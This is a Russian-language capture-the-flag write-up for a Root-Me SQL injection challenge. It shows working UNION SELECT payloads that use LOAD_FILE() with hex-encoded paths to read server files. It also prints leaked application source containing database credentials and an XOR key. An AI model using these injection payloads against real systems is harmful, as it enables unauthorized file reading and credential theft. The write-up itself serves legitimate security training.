На странице
apsyleg1 мин
#root-me #sqli #file-reading #union #load-file #web-security

SQL injection — File reading

Уязвимость

SQL injection — уязвимость, при которой пользовательский ввод попадает в SQL-запрос без надлежащей обработки. Атакующий может изменить логику запроса: извлечь данные из других таблиц, обойти аутентификацию или — как в этой задаче — прочитать произвольные файлы с сервера.

LOAD_FILE() — встроенная функция MySQL/MariaDB, которая возвращает содержимое файла по указанному пути. Если у пользователя базы данных есть привилегия FILE, а инъекция позволяет вывести результат через UNION SELECT, можно читать любые файлы, доступные процессу СУБД: исходный код приложения, конфигурации, /etc/passwd.

Задание

Название: SQL injection — File readingПлатформа: Root-Me Цель: Получить пароль администратора.

Разведка

Открываем задание. На странице — два раздела: Authentication (форма входа) и Members (список пользователей). Переходим в Members — в списке единственный пользователь, администратор. Открываем его профиль:

http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1

Определение СУБД

Параметр id — первый кандидат на инъекцию. Пробуем добавить одинарную кавычку:

?action=members&id=1'--

Ответ сервера:

You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near '\'--' at line 1

Два вывода: СУБД — MariaDB, а одинарная кавычка экранируется бэкслешем (\'). Но параметр id числовой — кавычки для инъекции не нужны. Проверяем:

?action=members&id=1--

Запрос проходит без ошибок. Точка инъекции и СУБД определены.

Определение числа колонок

Для UNION SELECT нужно знать количество колонок в оригинальном запросе. Используем ORDER BY, увеличивая номер до ошибки:

?action=members&id=1 ORDER BY 1--    → ОК
?action=members&id=1 ORDER BY 2--    → ОК
?action=members&id=1 ORDER BY 3--    → ОК
?action=members&id=1 ORDER BY 4--    → ОК
?action=members&id=1 ORDER BY 5--    → Unknown column '5' in 'order clause'

Итого: 4 колонки.

Определение выводимых позиций

Подставляем UNION SELECT с маркерами. Используем id=0, чтобы оригинальный запрос не вернул строк и на странице отобразились только наши значения:

?action=members&id=0 UNION SELECT 1,2,3,4--

На странице:

ID : 1
Username : 2
Email : 4

Выводятся позиции 1, 2 и 4 — в любую из них можно подставить результат LOAD_FILE().

Чтение файла

Попытка с кавычками

Первая попытка — передать путь к файлу напрямую:

?action=members&id=0 UNION SELECT LOAD_FILE('/challenge/web-serveur/ch31/index.php'),2,3,4--

Ошибка:

...near '\'/challenge/web-serveur/ch31/index.php\'),2,3,4--' at line 1

Кавычки экранируются — LOAD_FILE('...') превращается в LOAD_FILE(\'...\'), и SQL ломается.

Обход через hex-кодирование

В MySQL/MariaDB строки можно передавать как hex-литералы: 0x2f746d70 эквивалентен '/tmp'. Это базовый синтаксис SQL, а не хак — кавычки просто не нужны.

Конвертируем путь /challenge/web-serveur/ch31/index.php в ASCII hex. Для этого можно использовать hex-конвертер, Burp Suite Decoder (Encode as → ASCII Hex) или терминал:

echo -n '/challenge/web-serveur/ch31/index.php' | xxd -p | tr -d '\n' | sed 's/^/0x/'

Результат:

0x2F6368616C6C656E67652F7765622D736572766575722F636833312F696E6465782E706870

Подставляем в запрос:

?action=members&id=0 UNION SELECT LOAD_FILE(0x2F6368616C6C656E67652F7765622D736572766575722F636833312F696E6465782E706870),2,3,4--

В поле ID отобразился исходный код index.php.

Исходный код

define('SQL_HOST',      '/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');

function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";

В коде видны: credentials базы данных, XOR-ключ и функция аутентификации. Анализ продолжим позже.